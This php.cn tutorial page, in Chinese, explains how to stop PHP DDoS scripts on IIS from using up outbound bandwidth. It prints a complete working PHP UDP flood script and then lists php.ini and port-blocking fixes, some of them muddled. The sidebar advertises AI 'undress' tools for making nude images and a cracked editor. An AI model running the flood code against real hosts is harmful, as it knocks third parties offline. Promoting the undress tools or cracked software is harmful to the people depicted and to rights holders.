search
Homephp教程php手册iis防止php ddos占完网络带宽与服务器资源解决方法

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,以前我在apache下有碰到这样的问题,今天我们讲讲述一下关于在iis防止php ddos占完网络带宽与服务器资源的处理办法.

php ddos的常见代码如下:

<?php
$packets = 0;
$ip = $_GET[&#39;ip&#39;];
$rand = $_GET[&#39;port&#39;];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[&#39;time&#39;];
$time = time();
print "Flooded: $ip on port $rand 
 
";
$max_time = $time + $exec_time;
for ($i = 0; $i < 65535; $i++) {
    $out.= "X";
}
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
echo "Packet complete at " . time(&#39;h:i:s&#39;) . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s \n";

表现特征:一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.

解决办法:在c:windowsphp.ini里设其值为Off,代码如下:

allow_url_fopen = Off

并且,代码如下:

;extension=php_sockets.dll

前面的;号一定要有,意思就是限制用sockets.dll

然后:代码如下:

; ignore_user_abort = On

前面的;号要去掉,然后重启IIS,如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.

注:如果你的服务器不要运行机制php可以关闭,如果需要的话可以把php_sockets.dll 给禁止,还有一种办法就是把udp端口全部封了,只要80等一些重要的端口开放就可以了.


文章网址:

随意转载^^但请附上教程地址。

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function